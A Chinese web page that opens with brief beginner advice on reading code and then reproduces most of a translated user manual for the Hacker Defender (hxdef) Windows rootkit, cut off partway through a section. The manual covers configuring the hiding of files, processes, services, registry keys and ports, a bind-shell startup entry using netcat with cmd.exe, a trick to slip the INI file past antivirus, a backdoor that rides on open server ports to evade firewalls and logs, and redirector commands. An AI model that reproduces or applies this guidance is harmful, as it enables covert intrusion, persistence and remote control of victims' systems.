本文目录一览:
初学者怎样看懂代码?
初学者要看懂代码首先从要需求分析了解,然后是系统分析,最后是块的理解。看懂代码其实不难,大抵不过是选择,分支,循环。语法如果看不懂,那就需要补补基础,先弄清楚这段代码要做什么,有说明最好,可以帮助理解,没有说明就试着过一下代码流程。
扩展资料:
最重要的是学会写程序
C语言也好,python也好,得学会思考用程序实现,举个例子,想制定计划表,安排时间,那这个问题就可以写个程序来实现;你想做笔记、管理自己的文件,这也是一个程序。
从简单的、直接的几行十几行程序开始,比如计算器;到复杂的小工具,比如大数计算器,这个过程中你逐渐明白数组、指针、内存布局、函数,了解递归、栈、链表,然后学基本的数据结构,之后再写程序,你需要考虑代码的优雅、简单、时间空间效率高,使用什么样的方式来实现最好,最后学会了复用,学会了调用系统API,学会了想什么就能用代码实现什么或者知道它不能被实现,就学会了编程。
怎么才能读懂代码?
学命令行,批处理
学VBScript
学C
学汇编语言
学ASP
学SQL
如果你想做个小混混,用搜索工具搜索好溢出工具攻击一下之类的,你只学命令行和批处理就够了。
hacker defend书籍里大多数的代码是什么语言的啊?我看不懂怎么办?要学什么才能看懂呢?
Hacker defender 使用
=====[1,目录]==============================================
1.
目录
2. 概要
2.1 关于
2.2 申明
3. 使用说明
4. Ini文件说明
5.
Backdoor
5.1 Redirector
6. 技术支持
6.1 版本
6.2
钩子API函数
6.3 已知的 bugs
7. Faq
8. 文件
=====[ 2.
关于]================================================
Hacker defender
(hxdef)是一个使用于Windows NT 4.0, Windows 2000 以及Windows
XP操作系统的一个NTROOKIT,它也能运行于之后的基于NT的操作系统。主要代码是由DELPHI
6完成。新的功能使用汇编书写。驱动代码由C完成。后门和redirector客服端大部分使用 Delphi 6完成。
=====[ 2.1 概要
]=============================================
程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。
程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐蔽地控制被隐藏进程。程序安装后能构造后门、注册表、系统服务,构造系统驱动。其本身的后门技术允许其植入
redirector。
=====[ 2.2
申明]====================================================
本项目1.0.0版本是开发源代码。
使用Hacker
defender所造成的后果作者本人概不负责。
=====[ 3. 用法
]==================================================
一个使用hxdef的简单例子:
hxdef100.exe [inifile]
或者
hxdef100.exe [switch]
直接执行EXE文件,不带任何的参数时候,默认的inifile文件为程序名.ini
。
当你执行hedef100不指定ini文件,或者你以参数模式运行时候,默认的文件是
hxdef100.ini。
下面的参数是有效的:
-:installonly - 只安装服务,不运行
-:refresh - 从INI文件中更新设置
-:noservice - 正常运行不安装服务
-:uninstall -
移除hxdef删除所有运行的后门连接,同时停止hxdef服务
例如:
hxdef100.exe
-:refresh
Hxdef拥有默认INI文件,但是我们强烈的推荐你建立自己的ini文件。关于ini文件的介绍可以看第4部分ini文件部分。
参数
-:refresh and -:uninstall
来源于本来的EXE文件。这就意味这你只要知道hxdef的运行路径和EXE名,就能够改变它的设置或者进行移除工作。
=====[ 4. Ini文件
]============================================
ini文件必须包含了9个部分: [Hidden Table],
[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],
[Startup Run], [Free Space], [Hidden Ports]和[Settings]。
在 [Hidden Table],
[Root Processes], [Hidden Services]和[Hidden RegValues]
中能够使用*代替后面的字符,星号仅仅使用于字符的后面,任何在*之前的都是无效的。所有的在字符之前和之后的空格也是无效的。
例如:
[Hidden
Table]
hxdef*
将开始隐藏所有在Hidden
Table中以"hxdef"开头的文件、文件夹和系统进程。
在该文件列表中的所有文件和文件夹都将在文件管理器中消失。在这个列表中的程序也会在任务管理器中被隐藏。必须确保主要文件,INI文件,你的后门文件和驱动文件被包含在列表中。
在程序列表中的主进程对感染具有免淤能力,你只能利用这些主程序才能看见隐藏的文件,文件夹和程序。所以,主进程是为rootkit管理员所使用的。
由服务和驱动所组成的Hidden
Services列表将会隐藏在数据库中的安装服务和驱动。rootkit主程序的服务名默认为HackerDefender100,rootkit驱动的驱动名默认为HackerDefenderDrv100。它们两者都可以通过ini文件进行修改。
Hidden
RegKeys中列出的注册表键值将会被隐藏,Rootkit在注册表中有四个键值:默认的是HackerDefender100,
LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100
如果你要重新命名服务名或者驱动名,你需要在列表中做相应的改变。
开始2个键值是和你的服务据用相同名字的,接下来的键值是LEGACY_名字。例如,如果你改变你的服务名称为BoomThisIsMySvc
,那么在注册表中,应该是这样表示的,LEGACY_BOOMTHISISMYSVC。
在Hidden
RegValues列出的注册表的值将会被隐藏。
Startup
Run列表中列出的是rootkit程序运行之后的自启动程序。这些程序和ROOTKIT具有一样的特权。程序名和它后面的参数以?分开。不要使用"字符,程序将会在用户登陆以后终止,在用户登陆以后可以使用一般和常见的方法。你可以使用下面这些快捷方式。
%cmd%标准系统的shell和路径
%cmddir%标准系统的shell文件夹
%sysdir%
- 系统文件夹
(e.g. C:\winnt\system32\)
%windir% -
标准系统文件夹
(e.g. C:\winnt\)
%tmpdir% - 临时文件夹
(e.g. C:\winnt\temp\)
例如:1)
[Startup Run]
c:\sys\nc.exe?-L -p
100 -t -e cmd.exe
nc-shell将会在rootkit运行以后监听100端口
2)
[Startup
Run]
%cmd%?/c echo Rootkit started at %TIME%
%tmpdir%starttime.txt
将rootkit启动时间保存在系统临时文件夹夹starttime。Txt文件。
(%TIME%仅仅运行于Windows2000以上的操作系统。)
Free
Space中列出的驱动硬盘名和容量大小是你想增加的硬盘,它的格式是X:NUM,其中X表示磁盘驱动器的名称,NUM表示你要增加的磁盘的容量。
例如:
[Free
Space]
C:123456789
这将在C盘增加大约123M的磁盘空间。
Hidden
Ports中列出的是你需要隐藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp
View等的程序,它最多拥有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3
,第2行的格式是UDP:udpport1,udpport2,udpport3 ...例如:
1)
[Hidden
Ports]
TCP:8080,456
这将隐藏2个TCP端口:8080和456
2)
[Hidden
Ports]
TCP:8001
UDP:12345
这将隐藏2个端口:TCP的8001和UDP的12345。
3)
[Hidden
Ports]
TCP:
UDP:53,54,55,56,800
隐藏5个端口,都为UDP端口:53,54,55,56,800。
Settings包含了8个值:Password,
BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName,
ServiceDescription, DriverName 和
DriverFileName。
名。
16位字符的Password被用于后门链接和转向,密码能根据短一些,余下的用空格代替。
BackdoorShell是复制于系统的SHELL文件,它被后门创建于一个临时的目录下。
FileMappingName,当钩子进程被存储时,用于共享内存。
ServiceName是rootkit服务
ServiceDisplayName为rootkit显示的服务
ServiceDescription位rootkit的服务描述
DriverName以hxdef驱动命名
DriverFileName以hxdef驱动文件命名
例如;
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker
Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service
100
ServiceDescription=powerful NT
rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
这就意味着你的后门密码为hxdef-rulez,后门将复制系统shell文件(通常是CMD.EXE)为hxdef?.exe到临时目录。共享内存将变为"_.-=[Hacker
Defender]=-._",服务名为"HackerDefender100",它显示的名称为"HXD Service 100",它的描述为"poweful NT
rootkit",驱动名为"HackerDefenderDrv100",驱动将被存储于一个叫做"hxdefdrv.sys"的文件中。
扩展字符|,
, , :, \, / 和 "在所有的行中都会被忽略,除了[Startup Run], [Free Space] 和 [Hidden
Ports] 项目和在 [Settings] 中first =
character后面的值。使用扩展字符能然你的INIFILE文件摆脱杀毒软件的查杀。
例如:
Example:
[Hidden
Ta/"ble]
h"xdef"*
和下面的是一样的。
[Hidden
Table]
hxdef*
更多的例如可以参照hxdef100.ini
和hxdef100.2.ini文件。
所有的在ini文件中的字符串除了那些在Settings 和 Startup
Run中的,都是无效的。
=====[ 5. Backdoor
]=========================================
Rootkit程序
Hook了一些API的功能,连接接收一些来自网络的数据包。如果接收的数据等于256个字节,密码和服务被确认,复制的SHELL被临时创建,这种情况建立以后,下一次的数据接收被重定向到这个SHELL上。
因为rootkit程序
Hook了系统中所有进程,所有在服务器上的TCP端口都将变为后门。例如,如果目标主机开放了提供HTTP服务的80端口,这个端口也能作为一个有效的后门。例外的是这个开放端口的进程不会被Hook,这个后门仅仅工作于服务器的接收缓冲大于或者等于256个字节。但是这个特征几乎适合于所有标准的服务,像IIS,APACHE,ORACLE等。后门能够隐藏是因为所有的数据都通过系统上面提供的服务转发。所以你不能使用一些简单的端口扫描软件找到它,并且它能轻易的穿过防火墙。
在测试发现IIS服务过程中,HTTP服务不能记录任何的连接日记,FTP和SMTP服务器仅仅能记录结束的断开连接。所以,如果你运行hxdef在有IIS
Web服务的服务器上面,HTTP端口跟你是连接机器使用的后门的最好端口。
如果你想连接后门的话,你将不得不使用使用一些特别的客户端,程序bdcli100.exe就是被用于如此的。
用法:bdcli100.exe
host port password
例如:
bdcli100.exe 80
hxdef-rulez
连接服务器使用默认的密码。客户端1.0.0版本不兼容其他老的版本。
=====[
5.1 Redirector
]==========================================
Redirector是基于后门技术。第一个连接包和后门连接一样。这就意味着你能使用相同的端口。下一个包是仅仅为Redirector特殊的包,这些包由基于运行用户电脑的重定向器生成.第一个重定向的包连接特定的目标主机和端口。
Redirectors的设置保存在与EXE文件同名的INI文件中(所以默认的是rdrbs100.ini)。如果这个文件不存在,那么在EXE文件运行的时候它会自动建立一个。最好不要额外的修改INI文件。所有的设置都可以在console中进行改变。
当ROOTKIT被安装时,如果我们需要使用服务器上面的redirectors功能,我们首先要在本地运行程序。在控制台上我们可以在有HXDEF的服务器上面建立一个映射端口路由。最后我们连接本地端口并且转换数据。转向的数据被rootkit的密码加密。在这个版本中连接的速度被限制在256K左右。在这个版本中redirectors并不适合于高速连接。Redirectors也会受到安装有rootkit的服务器的限制,而且Redirectors仅仅使用TCP协议连接。在这个版本中Redirectors
base有19条命令,他们并不是非常的敏感。关于功能的详细描述可以使用HELP命令。在Redirectors
base启动时,startup-list中的命令也被执行。startup-list中的命令可以用使用SU启动的CMD进行编辑。
Redirector区分于2种连接类型(HTTP和其他)。如果连接是其他类型的,数据包将不会被改变。如果是HTTP类型,在HTTP文件头的HOST参数将会改变为目标服务器。一个base的最大Redirector数量是1000。
Redirector仅仅适用于NT结构,只有在拥有图标的NT程序下你才能使用HIDE命令隐藏控制台。只有在NT下才能无声无息的运行,没有数据输出,没有图标,仅仅执行startup-list中的命令。例子:1)得到端口映射信息
MPINFO
No mapped ports in the
list.
2)增加MPINFO命令到startup-list并且得到startup-list中的命令。
SUADD
MPINFO
sulist
0) MPINFO
3)使用HELP命令。
HELP
Type HELP COMMAND for command details.
Valid commands
are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD,
DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT,
TEST
HELP ADD
Create mapped port. You have to specify domain
when using HTTP
type.
usage: ADD LOCAL PORT MAPPING
SERVER MAPPING SERVER PORT
TARGET
SERVER
TARGET SERVER PORT PASSWORD [TYPE] [DOMAIN]
HELP
EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT
[DIS]
4)增加端口映射,我们在本地100端口进行监听,ROOTKIT安装在服务器200.100.2.36的80端口上,目标服务器是端口。,rootkit的密码是bIgpWd,连接类型HTTP,目标主机()我们知道它的IP地址是216.239.53.100。
ADD 100
200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP
ADD命令可以不加任何参数的运行,在这个例子中我们要求每一个参数都要分开。
5)现在我们再使用MPINFO检查一下映射端口
MPINFO
There are 1 mapped ports in the list. Currently 0 of them
open.
6)列举端口映射表:
LIST
000)
:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7)一个端口映射的详细描述:
DETAIL
Listening on port: 100
Mapping server address:
200.100.2.36
Mapping server port: 80
Target server address:
216.239.53.100
Target server port: 80
Password: bIgpWd
Port
type: HTTP
Domain name for HTTP Host:
Current state:
CLOSED
8)在没有密码的情况下,我们能在端口映射服务器200.100.2.36上测试rootkit是否已经安装(但是如果我们能确认它这样做就不再需要)
TEST 0
Testing 0) 200.100.2.36:80:bIgpWd –
OK
如果测试失败则显示:
Testing 0) 200.100.2.36:80:bIgpWd -
FAILED
9)在我们没使用之前端口仍然是没有开放的。我们不得不使用OPEN命令打开它,当端口开放时,我们也能使用CHOSE命令关闭端口。我们能使用标志符ALL应用这些命令在列表中的所有端口,这个过程可能需要一段的时间。
OPEN 0
Port number 0 opened.
CLOSE 0
Port number 0
closed.
或者 OPEN ALL
Port number 0
opened.
10)要保存当前的设置和列表我们可以使用SAVE命令,将保存所有的设置到ini文件中。(保存也会通过命令EXIT执行,而不需要DIS标志)
SAVE Saved
successfully.
开的端口能够转换我们需要的所有数据。限制你能打开你喜欢的浏览器输入网址,如果没有什么问题的话,你会看见打开的是的主页。
第一个数据包跟你会延迟5秒钟左右,但是其他的限制仅仅取决于服务器的速度,根据这个版本的转向技术,你联网的速度大约在256K左右。
=====[
6.
技术发行]========================================
这部分包含了一些对于普通用户无关紧要的信息。这部分可能适合所有的测试者和开发人员阅读